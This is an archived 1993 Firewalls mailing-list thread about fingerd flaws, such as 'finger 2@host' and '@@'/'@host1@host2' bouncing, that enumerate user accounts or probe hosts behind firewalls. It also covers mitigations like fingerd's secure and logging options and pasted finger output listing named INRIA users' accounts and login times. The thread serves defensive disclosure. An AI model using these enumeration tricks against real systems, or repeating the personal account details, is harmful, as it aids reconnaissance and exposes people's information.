/bin/tcsh Last login Mon Jan 25, 1993 on ttysc No Plan. Login name: lallouet In real life: lallouet arnaud Directory: /home/margaux/chloe/lallouet Shell: /bin/tcsh Last login Thu Jul 15 17:34 on ttyq9 No Plan. Login name: langlois In real life: langlois sylvain robert Directory: /home/margaux/guest/langlois Shell: /bin/false Never logged in. No Plan. Login name: msuarez In real life: suarez miguel Directory: /home/beaune/chloe/msuarez Shell: /bin/false Last login Wed Dec 2, 1992 on ttypa No Plan. Login name: pgachet In real life: gachet pierrick (atelier IRISA) Directory: /home/margaux/guest1/pgachet Shell: /bin/false Never logged in. No Plan. Login name: planes In real life: planes martine jackie Directory: /home/margaux/guest1/planes Shell: /bin/tcsh Last login Wed Jun 16 14:55 on ttyr5 No Plan. Login name: poirot In real life: poirot didier (CHORUS) Directory: /home/margaux/guest1/poirot Shell: /bin/false Never logged in. No Plan. Login name: rogado In real life: quintino-rogado jose Directory: /home/margaux/guest1/rogado Shell: /bin/false Never logged in. No Plan. Login name: sacavini In real life: saccavini luc Directory: /home/margaux/guest/sacavini Shell: /bin/tcsh Last login Thu May 6 16:23 on ttys4 No Plan. Login name: schmitt In real life: schmitt denise Directory: /home/margaux/guest1/schmitt Shell: /bin/csh Last login Fri Jun 18 15:46 on ttys3 No Plan. Login name: shapiro In real life: shapiro marc jed Directory: /home/margaux/guest1/shapiro Shell: /bin/tcsh Last login Mon Jan 4, 1993 on ttyq1 No Plan. Login name: vassout In real life: vassout pierre francois Directory: /home/margaux/guest2/vassout Shell: /bin/tcsh Last login Mon Jun 14 17:35 on ttyp7 No Plan. Login name: vaysseix In real life: vaysseix guy Directory: /home/margaux/guest1/vaysseix Last login Tue Sep 14 18:49 on ttyp7 No Plan. Login name: yampolsk In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. Login name: yampolski In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. From Firewalls-Owner Wed Sep 15 14:56:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13293; Wed, 15 Sep 93 14:56:35 GMT Received: from socrates.ucsf.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13286; Wed, 15 Sep 93 07:56:29 PDT Received: from localhost by socrates.ucsf.EDU (5.65/GSC4.23) id AA21544; Wed, 15 Sep 93 07:59:15 -0700 Message-Id: <9309151459.AA21544@socrates.ucsf.EDU> To: Firewalls@GreatCircle.COM Subject: Re: fingerd... Date: Wed, 15 Sep 93 07:59:15 PDT From: Tom Ferrin Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Another problem is ultrix fingerd, you can do 'finger @@machine' to list all > users in the passwd file. > The version of fingerd that was distributed with 4.4BSD and with the "networking 2" release of 4.3BSD has a -s (secure) option that disables both @@-style indirection as well as queries without a user name. It also has a -l (logging) option to syslog all finger requests, including their origin. Lastly, there is a -p option that let's a system manager replace the standard fingerd server with his/her own lookup program so that, for example, finger looks up a phone numbers or e-mail address in a corporate phone boox, rather than providing information about user accounts. From Firewalls-Owner Wed Sep 15 16:17:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13657; Wed, 15 Sep 93 16:17:51 GMT Received: from muse.microunity.com (muse1.microunity.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13650; Wed, 15 Sep 93 09:17:29 PDT Received: from gaea.microunity.com by muse.microunity.com (4.1/ericm1.1) id AA21230; Wed, 15 Sep 93 09:19:14 PDT Received: from angst.microunity.com by gaea.microunity.com (4.1/muse1.3) id AA05592; Wed, 15 Sep 93 09:18:16 PDT Received: by angst.microunity.com (5.61/muse.mw-1) id AA28127; Wed, 15 Sep 93 09:17:06 -0700 From: ericm@angst.MicroUnity.com (Eric Murray) Message-Id: <9309151617.AA28127@angst.microunity.com> Subject: Re: fingerd... To: jmc@telecom.ksu.edu (James Chacon) Date: Wed, 15 Sep 93 9:17:04 MDT Cc: firewalls@GreatCircle.COM In-Reply-To: <199309150603.BAA08973@pawnee.telecom.ksu.edu>; from "James Chacon" at Sep 15, 93 1:03 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk James Chacon wrote: > > > [..] > The known hole was in using gets to grab input. There are a couple other bugs > I know of you may want to be aware of: > > 1. At under Sunos 4.1.x and probably before fingering something like this > would show you a varing amount of people from the password file: > > finger 2@ Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? > 2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This > can be used to finger at address's inside of a firewall that doesn't > think about it. > > finger @@ can allow someone to probe for valid > machines inside a firewall. > > I have source from people here that will disallow the @ bouncing, along > with disallowing fingers from nobody. It also has patched to output > who was being fingered, so you can see if someone in particular is > being probed for. % cat /usr/etc/in.fingerd #!/usr/local/bin/taintperl # fake fingerd to return whatever I say. # # ericm 4/6/93 # no buffering, please $| = 1; print "\ To reach someone at MicroUnity, send mail to Firstname_Lastname\ (i.e. Joe User -> Joe_User@microunity.com).\ If you have questions, send mail to postmaster@microunity.com.\ "; exit; -- ericm ericm@microunity.com From Firewalls-Owner Wed Sep 15 10:29:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13736; Wed, 15 Sep 93 16:44:28 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13724; Wed, 15 Sep 93 09:44:04 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA23275; Wed, 15 Sep 93 11:47:30 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA13493; Wed, 15 Sep 93 11:46:56 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA12534; Wed, 15 Sep 93 11:46:52 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA03960; Wed, 15 Sep 93 18:50:16+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA12526; Wed, 15 Sep 93 11:46:44 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA16075 for firewalls; Wed, 15 Sep 93 11:17:31 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21695; Wed, 15 Sep 93 11:14:10 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13293; Wed, 15 Sep 93 14:56:35 GMT Received: from socrates.ucsf.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13286; Wed, 15 Sep 93 07:56:29 PDT Received: from localhost by socrates.ucsf.EDU (5.65/GSC4.23) id AA21544; Wed, 15 Sep 93 07:59:15 -0700 Message-Id: <9309151459.AA21544@socrates.ucsf.EDU> To: Firewalls@GreatCircle.COM Subject: Re: fingerd... Date: Wed, 15 Sep 93 07:59:15 PDT From: Tom Ferrin Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Another problem is ultrix fingerd, you can do 'finger @@machine' to list all > users in the passwd file. > The version of fingerd that was distributed with 4.4BSD and with the "networking 2" release of 4.3BSD has a -s (secure) option that disables both @@-style indirection as well as queries without a user name. It also has a -l (logging) option to syslog all finger requests, including their origin. Lastly, there is a -p option that let's a system manager replace the standard fingerd server with his/her own lookup program so that, for example, finger looks up a phone numbers or e-mail address in a corporate phone boox, rather than providing information about user accounts. From Firewalls-Owner Wed Sep 15 10:37:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13738; Wed, 15 Sep 93 16:44:30 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13723; Wed, 15 Sep 93 09:44:03 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA23271; Wed, 15 Sep 93 11:47:29 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA13487; Wed, 15 Sep 93 11:46:47 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA12521; Wed, 15 Sep 93 11:46:38 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA03957; Wed, 15 Sep 93 18:50:01+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA12511; Wed, 15 Sep 93 11:46:34 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA14634 for firewalls; Wed, 15 Sep 93 11:10:59 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA18755; Wed, 15 Sep 93 11:06:38 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13260; Wed, 15 Sep 93 14:33:50 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13248; Wed, 15 Sep 93 07:33:22 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA21605; Wed, 15 Sep 93 09:36:23 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA11821; Wed, 15 Sep 93 09:35:36 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA09495; Wed, 15 Sep 93 09:35:32 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA03765; Wed, 15 Sep 93 16:38:53+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA09487; Wed, 15 Sep 93 09:35:27 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19749 for firewalls; Wed, 15 Sep 93 08:49:52 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21578; Wed, 15 Sep 93 08:45:35 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12980; Wed, 15 Sep 93 12:31:44 GMT Received: from concorde.inria.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12973; Wed, 15 Sep 93 05:31:29 PDT Received: from chacom.inria.fr by concorde.inria.fr; Wed, 15 Sep 1993 14:34:11 +0200 Received: by chacom.inria.fr (4.1/client.23-May-91) id AA24080; Wed, 15 Sep 93 14:34:10 +0200 Date: Wed, 15 Sep 93 14:34:10 +0200 From: Philippe.Deschamp@inria.fr Message-Id: <9309151234.AA24080@chacom.inria.fr> Organization: INRIA, BP 105, F-78153 Le Chesnay Cedex, France tel. +33(1)39-63-56-05, telex 697033 F, FAX +33(1)39-63-53-30 To: jmc@telecom.ksu.edu Cc: firewalls@GreatCircle.COM In-Reply-To: James Chacon's message of Wed, 15 Sep 1993 01:03:07 -0500 (CDT) <199309150603.BAA08973@pawnee.telecom.ksu.edu> Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> "JC" == James Chacon : JC> 1. At under Sunos 4.1.x and probably before fingering something like this JC> would show you a varing amount of people from the password file: JC> finger 2@ JC> Under my system here which has ~50 accounts (and shrinking) I get 10 JC> fingers. but doing that to the main campus server which ~5000 accounts JC> gives me 316 accounts. Seems the matching routines give back too much JC> when presented with numbers at the beginning. Et il n'y a pas que sur les Sun ! Sur les Pyramid aussi :-) [14:29]@Chacom.INRIA.Fr% [margaux.inria.fr] Login name: bar In real life: pascal bar (stagiaire chorus) Directory: /export4/chorus/bar Shell: /bin/false Last login Mon Oct 26, 1992 on ttypb No Plan. Login name: bnguyen In real life: nguyen bertrand Directory: /home/margaux/icsla/bnguyen Shell: /bin/false Never logged in. No Plan. Login name: bouchon In real life: bouchenez jean-louis Directory: /home/margaux/guest/bouchon Shell: /bin/false Never logged in. No Plan. Login name: chambre In real life: Pascal Chambre Directory: /home/tobago/chloe/chambre Shell: /bin/tcsh Last login Tue Sep 14 15:04 on ttyq7 No Plan. Login name: chanut In real life: chanut helene simone Directory: /home/margaux/guest/chanut Never logged in. No Plan. Login name: chieze In real life: chieze jean-paul Directory: /home/margaux/guest1/chieze Shell: /bin/tcsh Last login Wed Aug 25 11:39 on ttyq8 No Plan. Login name: diaz In real life: diaz daniel Directory: /home/tobago/chloe/diaz Shell: /bin/tcsh Last login Mon Sep 6 14:43 on ttyre Plan: Daniel Diaz Projet : ChLoE (axe Programmation en Logique) Batiment : 8 Bureau : 830 No Poste : 5708 e-mail : diaz@margaux.inria.fr Daniel.Diaz@inria.fr Login name: dore In real life: dore giovanna maria Directory: /home/margaux/chloe/dore Shell: /bin/tcsh Last login Mon Jan 18, 1993 on ttyq3 No Plan. Login name: ducrot In real life: ducrot andre Directory: /home/margaux/guest/ducrot Shell: /bin/tcsh Last login Sat Jan 16, 1993 on ttyq3 No Plan. Login name: eddbali In real life: ed-dbali abdelali Directory: /home/margaux/chloe/eddbali Shell: /bin/tcsh Last login Mon Jun 21 16:10 on ttyq3 No Plan. Login name: fdugast In real life: dugast francoise Directory: /home/margaux/guest/fdugast Shell: /bin/csh Last login Tue Sep 14 15:01 on ttyq7 No Plan. Login name: galleri In real life: galleri xavier Directory: /export4/chorus/galleri Shell: /bin/false Last login Tue Nov 3, 1992 on ttys5 No Plan. Login name: gremont In real life: gremont olivier guy Directory: /home/margaux/guest/gremont Shell: /bin/false Never logged in. No Plan. Login name: habert In real life: sabine habert Directory: /home/margaux/guest1/habert Shell: /bin/false Never logged in. No Plan. Login name: henning In real life: christiansen henning Directory: /home/margaux/chloe/henning Shell: /bin/false Never logged in. No Plan. Login name: jd In real life: Joelle Despeyroux Sophia Directory: /home/margaux/guest2/jd Shell: /bin/false Never logged in. No Plan. Login name: laforgue In real life: laforgue pierre Directory: /home/margaux/guest/laforgue Shell: /bin/tcsh Last login Mon Jan 25, 1993 on ttysc No Plan. Login name: lallouet In real life: lallouet arnaud Directory: /home/margaux/chloe/lallouet Shell: /bin/tcsh Last login Thu Jul 15 17:34 on ttyq9 No Plan. Login name: langlois In real life: langlois sylvain robert Directory: /home/margaux/guest/langlois Shell: /bin/false Never logged in. No Plan. Login name: msuarez In real life: suarez miguel Directory: /home/beaune/chloe/msuarez Shell: /bin/false Last login Wed Dec 2, 1992 on ttypa No Plan. Login name: pgachet In real life: gachet pierrick (atelier IRISA) Directory: /home/margaux/guest1/pgachet Shell: /bin/false Never logged in. No Plan. Login name: planes In real life: planes martine jackie Directory: /home/margaux/guest1/planes Shell: /bin/tcsh Last login Wed Jun 16 14:55 on ttyr5 No Plan. Login name: poirot In real life: poirot didier (CHORUS) Directory: /home/margaux/guest1/poirot Shell: /bin/false Never logged in. No Plan. Login name: rogado In real life: quintino-rogado jose Directory: /home/margaux/guest1/rogado Shell: /bin/false Never logged in. No Plan. Login name: sacavini In real life: saccavini luc Directory: /home/margaux/guest/sacavini Shell: /bin/tcsh Last login Thu May 6 16:23 on ttys4 No Plan. Login name: schmitt In real life: schmitt denise Directory: /home/margaux/guest1/schmitt Shell: /bin/csh Last login Fri Jun 18 15:46 on ttys3 No Plan. Login name: shapiro In real life: shapiro marc jed Directory: /home/margaux/guest1/shapiro Shell: /bin/tcsh Last login Mon Jan 4, 1993 on ttyq1 No Plan. Login name: vassout In real life: vassout pierre francois Directory: /home/margaux/guest2/vassout Shell: /bin/tcsh Last login Mon Jun 14 17:35 on ttyp7 No Plan. Login name: vaysseix In real life: vaysseix guy Directory: /home/margaux/guest1/vaysseix Last login Tue Sep 14 18:49 on ttyp7 No Plan. Login name: yampolsk In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. Login name: yampolski In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. From Firewalls-Owner Wed Sep 15 17:38:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13903; Wed, 15 Sep 93 17:38:28 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13894; Wed, 15 Sep 93 10:37:59 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA24061; Wed, 15 Sep 93 12:41:21 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA14219; Wed, 15 Sep 93 12:40:42 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA13657; Wed, 15 Sep 93 12:40:38 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04009; Wed, 15 Sep 93 19:44:01+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA13648; Wed, 15 Sep 93 12:40:34 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA02227 for firewalls; Wed, 15 Sep 93 12:53:13 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA05589; Wed, 15 Sep 93 12:43:03 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13657; Wed, 15 Sep 93 16:17:51 GMT Received: from muse.microunity.com (muse1.microunity.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13650; Wed, 15 Sep 93 09:17:29 PDT Received: from gaea.microunity.com by muse.microunity.com (4.1/ericm1.1) id AA21230; Wed, 15 Sep 93 09:19:14 PDT Received: from angst.microunity.com by gaea.microunity.com (4.1/muse1.3) id AA05592; Wed, 15 Sep 93 09:18:16 PDT Received: by angst.microunity.com (5.61/muse.mw-1) id AA28127; Wed, 15 Sep 93 09:17:06 -0700 From: ericm@angst.MicroUnity.com (Eric Murray) Message-Id: <9309151617.AA28127@angst.microunity.com> Subject: Re: fingerd... To: jmc@telecom.ksu.edu (James Chacon) Date: Wed, 15 Sep 93 9:17:04 MDT Cc: firewalls@GreatCircle.COM In-Reply-To: <199309150603.BAA08973@pawnee.telecom.ksu.edu>; from "James Chacon" at Sep 15, 93 1:03 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk James Chacon wrote: > > > [..] > The known hole was in using gets to grab input. There are a couple other bugs > I know of you may want to be aware of: > > 1. At under Sunos 4.1.x and probably before fingering something like this > would show you a varing amount of people from the password file: > > finger 2@ Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? > 2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This > can be used to finger at address's inside of a firewall that doesn't > think about it. > > finger @@ can allow someone to probe for valid > machines inside a firewall. > > I have source from people here that will disallow the @ bouncing, along > with disallowing fingers from nobody. It also has patched to output > who was being fingered, so you can see if someone in particular is > being probed for. % cat /usr/etc/in.fingerd #!/usr/local/bin/taintperl # fake fingerd to return whatever I say. # # ericm 4/6/93 # no buffering, please $| = 1; print "\ To reach someone at MicroUnity, send mail to Firstname_Lastname\ (i.e. Joe User -> Joe_User@microunity.com).\ If you have questions, send mail to postmaster@microunity.com.\ "; exit; -- ericm ericm@microunity.com From Firewalls-Owner Wed Sep 15 18:00:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14126; Wed, 15 Sep 93 18:00:53 GMT Received: from d.ecc.engr.uky.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14115; Wed, 15 Sep 93 11:00:44 PDT Received: from s.ecc.engr.uky.edu by d.ecc.engr.uky.edu (5.59/25-eef) id AA17120; Wed, 15 Sep 93 13:31:08 EDT Received: by s.ecc.engr.uky.edu (4.1/SMI-4.1) id AA23702; Wed, 15 Sep 93 14:06:08 EDT Date: Wed, 15 Sep 93 14:06:08 EDT From: morgan@engr.uky.edu (Wes Morgan) Message-Id: <9309151806.AA23702@s.ecc.engr.uky.edu> To: firewalls@GreatCircle.COM Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From: ericm@angst.MicroUnity.com (Eric Murray) > >James Chacon wrote: > >> 1. At under Sunos 4.1.x and probably before fingering something like this >> would show you a varing amount of people from the password file: >> >> finger 2@ > >Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? Hmmm...this is rather strange: 1) SunOS 4.1.1 - "finger " returns the same set of 21 usernames each time. I can't find any common threads in the /etc/passwd entries. I'm not running NIS (or NIS+), so it must not be an NIS bug... 2) AT&T System V Release 3.2.3 -- same behavior; the same set of 109 usernames shows up every time. So much for classify- ing this as a Berkeley-only bug... 3) HP-UX 9.00 -- same behavior. 4) AT&T System V Release 4.0 3.0 -- proper behavior, namely: "2: User is not currently logged in to this machine." Identical response to any invalid userid. ("blech," "foo," etc.) 5) UNIX System V/386 Release 3.2 -- proper behavior, namely: "Login name: 2 In real life: ???" 6) SunOS 5.2 (Solaris 2.2), no NIS+ -- proper behavior, namely: Login Name TTY Idle When Where 2 ??? It looks like a bug from the *early* days of finger. If SunOS 4.1.x, HP-UX 9.00, and SVR3.2.3 all share the bug, it may date back to (gasp) System III...any vendors listening? --Wes From Firewalls-Owner Wed Sep 15 18:02:45 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14166; Wed, 15 Sep 93 18:02:45 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14151; Wed, 15 Sep 93 11:02:37 PDT Received: by azalea.tis.com; id AA25166; Wed, 15 Sep 93 14:04:04 EDT Received: from tis.com/192.33.112.100 via smap Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA25878; Wed, 15 Sep 93 14:04:48 EDT Message-Id: <9309151804.AA25878@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: Firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Tom Ferrin's message of Wed, 15 Sep 93 07:59:15 -0700. <9309151459.AA21544@socrates.ucsf.EDU> Date: Wed, 15 Sep 93 14:04:47 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "I know engineers. They *love* to change things!" Dr. McCoy, Star Trek: The Motion Picture. > The version of fingerd that was distributed with 4.4BSD and with > the "networking 2" release of 4.3BSD has a -s (secure) option that > disables both @@-style indirection as well as queries without a > user name. It also has a -l (logging) option to syslog all finger > requests, including their origin. Lastly, there is a -p option > that let's a system manager replace the standard fingerd server > with his/her own lookup program so that, for example, finger looks > up a phone numbers or e-mail address in a corporate phone boox, > rather than providing information about user accounts. From Firewalls-Owner Wed Sep 15 18:11:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14326; Wed, 15 Sep 93 18:11:41 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14313; Wed, 15 Sep 93 11:11:26 PDT Received: from seiden.com by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA07961 for ; Wed, 15 Sep 93 13:45:41 -0400 Received: by seiden.com (4.1/1.39) id AA11804; Wed, 15 Sep 93 10:41:21 PDT From: mis@seiden.com (Mark Seiden) Message-Id: <9309151741.AA11804@seiden.com> Subject: UN agency in Switzerland needs a firewalls consultant (soon!) To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 10:41:20 -0700 (PDT) X-Mailer: ELM [version 2.4 PL22] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2926 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Greetings. I'm looking for a computer security expert (black belt) to be a consultant initially for a project for an United Nations agency in Switzerland. The client is enjoying dabbling in (and expecting to expand their use of) various Internet-based and public access services (using Unix and VMS) and believe that they have *not* yet had a security problem (but we all know it's only a matter of time...). At the moment the work involves surveying and recommending (e.g. an initial examination of what they're planning, then say a week's visit, (i'm hoping for the week of october 3), subsequent technology transfer mostly by email. Then, subject to approval and budget, another visit to rather rapidly do, or oversee, or test). they are hoping that the be in-place by mid-november. (they have tentative security plans and policies drafted, but realized they don't have the expertise to carry it all off well enough to convince themselves it was done right... and management is committed to doing it right). (In this case it's probably more important to communicate your expertise to the client's system programming staff than to do it yourself...) We would prefer that the work be done through and with us (MSB Associates, Inc.) for several reasons (even some honorable ones.) In our experience the work-scope for such projects sometimes expands and will be placed in a larger context than "just security"; and we expect to have continuing work in this area/for this agency. (We're experts in networking and system programming, and some aspects of security (e.g. telecom, physical), and have set up internet gateways, so certainly understand the issues, but haven't been obsessed with the details of firewalls to be perfectly suited for this job.... The client has a sizeable system programming staff who will be involved. But we haven't decided who will do exactly what work.) things you'd have to be expert about: - setting up appropriate firewalls between the internet, public access machines in public areas on the agency's site, and their private network. - unix and vms. cisco routers. probably decnet and dec routers, and the dec security products. slip and ppp. - services that need tunneling include: all-in-one, ingres, gopher/wais, approved external logins (via the firewall?), probably others. Anyway, if any of you'd like to pursue this further, please *quickly* email me a cv/resume, with some detail of the security-related projects you've personally done, what you charge per day, and your availability the week beginning oct 3 and through november and we can continue from there. (I'd need to check a few references also if I don't know you already, and this is all subject to the agency's ultimate approval...)) (I hope this is suitably low-key and appropriate for firewalls... if not, I hope you can somehow forgive me...) -- mark seiden, mis@seiden.com, 1-(415) 592 8559 (voice) From Firewalls-Owner Wed Sep 15 18:49:19 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14735; Wed, 15 Sep 93 18:49:19 GMT Received: from pima.dtcc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14725; Wed, 15 Sep 93 11:49:10 PDT Received: by pima.dtcc.edu (5.4.2/5.40/1.0) id AA19838; Wed, 15 Sep 1993 14:51:16 -0400 Date: Wed, 15 Sep 1993 14:51:16 -0400 From: weave@pima.dtcc.edu (Ken Weaverling) Message-Id: <9309151851.AA19838@pima.dtcc.edu> In-Reply-To: morgan@engr.uky.edu (Wes Morgan) "fingerd..." (Sep 15, 14:06) X-Mailer: Mail User's Shell (7.2.4 2/2/92) To: morgan@engr.uky.edu (Wes Morgan), firewalls@GreatCircle.COM Subject: Re: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hmmmm, finger 2@host does same behaviour on Data General's DG/UX which is Sys V.4.... Wild! -- Ken Weaverling, Computer Services, Delaware Tech College weave@dtcc.edu From Firewalls-Owner Wed Sep 15 12:07:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14682; Wed, 15 Sep 93 18:42:14 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14658; Wed, 15 Sep 93 11:41:48 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25284; Wed, 15 Sep 93 13:45:16 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15217; Wed, 15 Sep 93 13:44:35 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14636; Wed, 15 Sep 93 13:44:30 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04088; Wed, 15 Sep 93 20:47:53+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14627; Wed, 15 Sep 93 13:44:25 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19977 for firewalls; Wed, 15 Sep 93 14:33:31 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA28095; Wed, 15 Sep 93 14:27:10 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14166; Wed, 15 Sep 93 18:02:45 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14151; Wed, 15 Sep 93 11:02:37 PDT Received: by azalea.tis.com; id AA25166; Wed, 15 Sep 93 14:04:04 EDT Received: from tis.com/192.33.112.100 via smap Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA25878; Wed, 15 Sep 93 14:04:48 EDT Message-Id: <9309151804.AA25878@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: Firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Tom Ferrin's message of Wed, 15 Sep 93 07:59:15 -0700. <9309151459.AA21544@socrates.ucsf.EDU> Date: Wed, 15 Sep 93 14:04:47 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "I know engineers. They *love* to change things!" Dr. McCoy, Star Trek: The Motion Picture. > The version of fingerd that was distributed with 4.4BSD and with > the "networking 2" release of 4.3BSD has a -s (secure) option that > disables both @@-style indirection as well as queries without a > user name. It also has a -l (logging) option to syslog all finger > requests, including their origin. Lastly, there is a -p option > that let's a system manager replace the standard fingerd server > with his/her own lookup program so that, for example, finger looks > up a phone numbers or e-mail address in a corporate phone boox, > rather than providing information 